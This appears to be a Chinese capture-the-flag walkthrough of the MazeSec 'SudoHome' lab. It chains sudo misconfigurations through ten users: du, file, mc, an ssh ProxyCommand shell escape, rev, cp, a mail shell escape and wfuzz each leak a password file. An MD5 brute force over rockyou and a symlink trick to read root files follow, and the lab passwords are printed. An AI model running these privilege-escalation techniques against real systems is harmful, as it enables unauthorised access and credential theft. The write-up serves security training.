MazeSec SudoHome
# ARP 扫描存活主机
┌──(npc㉿kali)-[~]
└─$ sudo arp-scan -I eth1 192.168.56.0/24
192.168.56.142 08:00:27:94:61:b4 (Unknown)
2
3
4
目标主机 IP:192.168.56.142
# TCP 全端口扫描
┌──(npc㉿kali)-[~]
└─$ nmap -p- -sT 192.168.56.142
PORT STATE SERVICE
22/tcp open ssh
25/tcp open smtp
80/tcp open http
2
3
4
5
6
7
开放了 22、25、80 端口
# 80 端口服务探测
┌──(npc㉿kali)-[~]
└─$ curl http://192.168.56.142
<!-- try ssh -->
2
3
常规扫描没有发现有用信息,看到提示 try ssh,尝试 ssh 登录
# user1
提示使用ssh,尝试 ssh 登录root,ssh banner信息里留了一个user1


user1 : 0woA8Sr7I83R0ZwmnTcH
家目录有10个用户,每个用户目录下有一个password.txt文件

# user2
user1用户可以无密码使用 user2 的 du 命令,--help看看帮助

其中的--files0-from=F参数是为了解决文件名中包含空格的问题,文件名以ASCII NUL字符(即\0)分隔的问题,可以从文件F中读取文件名列表
当 password.txt 中的内容被当作“文件名”,而这些文件名又实际不存在时,du 在报错时会把这些“文件名”完整打印出来,等于把 password.txt 暴露了。
user1@SudoHome:~$ sudo -u user2 /usr/bin/du --files0-from=/home/user2/password.txt
/usr/bin/du: cannot access 'tLPi3BLMG2zmwvZ5z9rh'$'\n': No such file or directory
2
user2 : tLPi3BLMG2zmwvZ5z9rh
# user3
user2用户可以无密码使用 user3 的 file 命令,-f参数是从文件中读取文件名列表

可以在 gtfobins 上找到利用方法 https://gtfobins.github.io/gtfobins/file/ (opens new window)

使用 file -f /home/user3/password.txt 时,file 会把文件中的每一行当作文件名;不存在的文件在报错信息中被原样打印出来,从而泄露密码内容。
user2@SudoHome:~$ sudo -u user3 /usr/bin/file -f /home/user3/password.txt
TFqxDyfGO69DP1lyjt0f: cannot open `TFqxDyfGO69DP1lyjt0f' (No such file or directory)
2
user3 : TFqxDyfGO69DP1lyjt0f
# user4
user3用户可以无密码使用 user4 的 mc 命令

mc 命令可以进入子shell或编辑文件

-U 直接启动 subshell,这里通过 sudo 以 user4 身份启动 subshell,从而获得 user4 的交互 shell。
user3@SudoHome:~$ sudo -u user4 /usr/bin/mc -U


user4@SudoHome:/home/user3$ whoami
user4
user4@SudoHome:/home/user3$ cat /home/user4/password.txt
B0aWh2XHpp5hOIVtCUbn
2
3
4
5
user4 : B0aWh2XHpp5hOIVtCUbn
# user5
user4用户可以无密码使用 user5 的 ssh 命令

gtfobins 上有利用方法 https://gtfobins.github.io/gtfobins/ssh/ (opens new window)

ssh 进入 user5 的shell
user4@SudoHome:~$ sudo -u user5 /usr/bin/ssh -o ProxyCommand=';bash 0<&2 1>&2' x
user5@SudoHome:/home/user4$ id
uid=1004(user5) gid=1004(user5) groups=1004(user5)
user5@SudoHome:/home/user4$
2
3
4

user5@SudoHome:~$ cat password.txt
GZ5KErjFycaYHZGj7GcI
2
user5 : GZ5KErjFycaYHZGj7GcI
# user6
user5用户可以无密码使用 user6 的 rev 命令
rev命令可以直接逆序打印文件内容,逆序两次就正回来了
user5@SudoHome:~$ sudo -u user6 /usr/bin/rev /home/user6/password.txt|rev
LowGbJGVAxhQw63UWc5Z
2
user6 : LowGbJGVAxhQw63UWc5Z
# user7
user6用户可以无密码使用 user7 的 cp 命令

user7 的 .profile 是可读的状态,把password.txt 复制过去就可以读取了
user6@SudoHome:~$ sudo -u user7 /usr/bin/cp /home/user7/password.txt /home/user7/.profile
user6@SudoHome:~$ cat /home/user7/.profile
HLoKAOu86miWIYKdyVx3
2
3
user7 : HLoKAOu86miWIYKdyVx3
还可以通过 /dev/tty,/dev/tty 是当前终端设备文件,会直接输出到当前终端

# user8
user7用户可以无密码使用 user8 的 mail 命令

gtfobins 里可以找到相关利用姿势,可以通过 mail 命令的交互式shell执行命令,https://gtfobins.github.io/gtfobins/mail/ (opens new window)


user7@SudoHome:~$ touch /tmp/111
user7@SudoHome:~$ sudo -u user8 /usr/bin/mail -f /tmp/111
Mail version 8.1.2 01/15/2001. Type ? for help.
"/tmp/111": 0 messages [Read only]
& !/bin/bash
user8@SudoHome:/home/user7$ id
uid=1007(user8) gid=1007(user8) groups=1007(user8)
user8@SudoHome:/home/user7$ cd
user8@SudoHome:~$ cat password.txt
UxeGoUq8xqBRxyWVQPYK
2
3
4
5
6
7
8
9
10
user8 : UxeGoUq8xqBRxyWVQPYK
# user9
user8用户可以无密码使用 user9 的 wfuzz 命令

将 /home/user9/password.txt 作为 wfuzz 的字典文件,文件中的一行内容会作为 FUZZ 的 payload, wfuzz 会在输出表格的 Payload 列里原样打印这一行,从而泄露密码。

user8@SudoHome:~$ sudo -u user9 /usr/bin/wfuzz -w /home/user9/password.txt http://127.0.0.1/FUZZ
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://127.0.0.1/FUZZ
Total requests: 1
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000001: 404 9 L 31 W 271 Ch "peqkSBCDKvVxxNwcq1j4"
Total time: 0
Processed Requests: 1
Filtered Requests: 0
Requests/sec.: 0
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
user9 : peqkSBCDKvVxxNwcq1j4
# user10
user9用户可以无密码使用 user10 的 md5sum 命令

md5sum 可以计算字符串/文件的md5值
哈希算法不可逆,只能大量爆破,找出相同md5值的字符串
可以看看 user10 家目录的 password.txt 的文件大小是 13 字节

可以通过测试发现一个小细节
echo 1 > 1.txt
echo 11 > 2.txt
echo 111 > 3.txt
ls -lah
2
3
4

可以看到 echo 出来的内容会多一个换行符,占用多一个字节

如果 echo 重定向时 使用 -n 参数 就不会多出换行符,在 user9 目录里用几个测试文件演示
user9@SudoHome:~$ echo -n '1' > 1.txt
user9@SudoHome:~$ echo -n '11' > 2.txt
user9@SudoHome:~$ echo -n '111' > 3.txt
user9@SudoHome:~$ ls -alh
total 48K
drwxr-xr-x 4 user9 user9 4.0K Nov 19 10:22 .
drwxr-xr-x 12 root root 4.0K Nov 16 08:35 ..
-rw-r--r-- 1 user9 user9 1 Nov 19 10:26 1.txt
-rw-r--r-- 1 user9 user9 2 Nov 19 10:26 2.txt
-rw-r--r-- 1 user9 user9 3 Nov 19 10:27 3.txt
-rw------- 1 user9 user9 2.3K Nov 17 03:21 .bash_history
-rw-r--r-- 1 user9 user9 220 Apr 18 2019 .bash_logout
-rw-r--r-- 1 user9 user9 3.5K Apr 18 2019 .bashrc
drwxr-xr-x 3 user9 user9 4.0K Nov 16 13:01 .config
-rw------- 1 user9 user9 21 Nov 16 08:35 password.txt
-rw-r--r-- 1 user9 user9 807 Apr 18 2019 .profile
drwx------ 2 user9 user9 4.0K Nov 16 13:25 .ssh
user9@SudoHome:~$
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

那么 user10 的 password.txt 是 13 字节,那么内容应该是 12 个字符 + 1 个换行符,或者者 13 个字符没有换行符,大概率是 12 个字符 + 1 个换行符(猜测)
常见字典中的密码行末一般带一个换行符,因此“文件中一行密码 + 换行”就是 N 字符 + \n;尝试从 rockyou.txt 里筛选出 12 个字符的密码进行爆破
cat rockyou.txt|awk 'length($0)==12' > pass.txt
bash脚本爆破
while read p; do
# echo 默认会自动加换行符,正好符合 13 字节的要求
echo "$p" | md5sum | grep "65e31d336be184593812c18533fa4fa2" && echo "密码是: $p" && break
done < pass.txt
2
3
4

user10 : morrinsville
或者选择php、python语言遍历rockyou.txt,其他语言也可以
<?php
$targetHash = '65e31d336be184593812c18533fa4fa2';
$start_time = microtime(true);
$file = '/usr/share/wordlists/rockyou.txt';
$handle = fopen($file, "r");
if ($handle) {
while (($line = fgets($handle)) !== false) {
if (md5($line) === $targetHash) {
$end_time = microtime(true);
$elapsed_time = $end_time - $start_time;
echo "Found: " . $line;
echo "Time elapsed: " . round($elapsed_time, 4) . " seconds\n";
fclose($handle);
exit;
}
}
fclose($handle);
$end_time = microtime(true);
$elapsed_time = $end_time - $start_time;
echo "Not found.\n";
echo "Search completed in: " . round($elapsed_time, 4) . " seconds\n";
}
?>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

# root
user10用户可以无密码使用 root 的 cat 命令
有个小细节,当前在 /home/user10 目录下,是自己的家目录,只要对某个目录有写权限,就可以在该目录中创建、删除、重命名,即使是 root 用户的文件
sudo 可以使用 cat 读取指定文件 .important,我们有权限删掉 .important 文件,重新做软链接到root用户文件,读取 root 用户敏感文件


user1:0woA8Sr7I83R0ZwmnTcH
user2:tLPi3BLMG2zmwvZ5z9rh
user3:TFqxDyfGO69DP1lyjt0f
user4:B0aWh2XHpp5hOIVtCUbn
user5:GZ5KErjFycaYHZGj7GcI
user6:LowGbJGVAxhQw63UWc5Z
user7:HLoKAOu86miWIYKdyVx3
user8:UxeGoUq8xqBRxyWVQPYK
user9:peqkSBCDKvVxxNwcq1j4
user10:morrinsville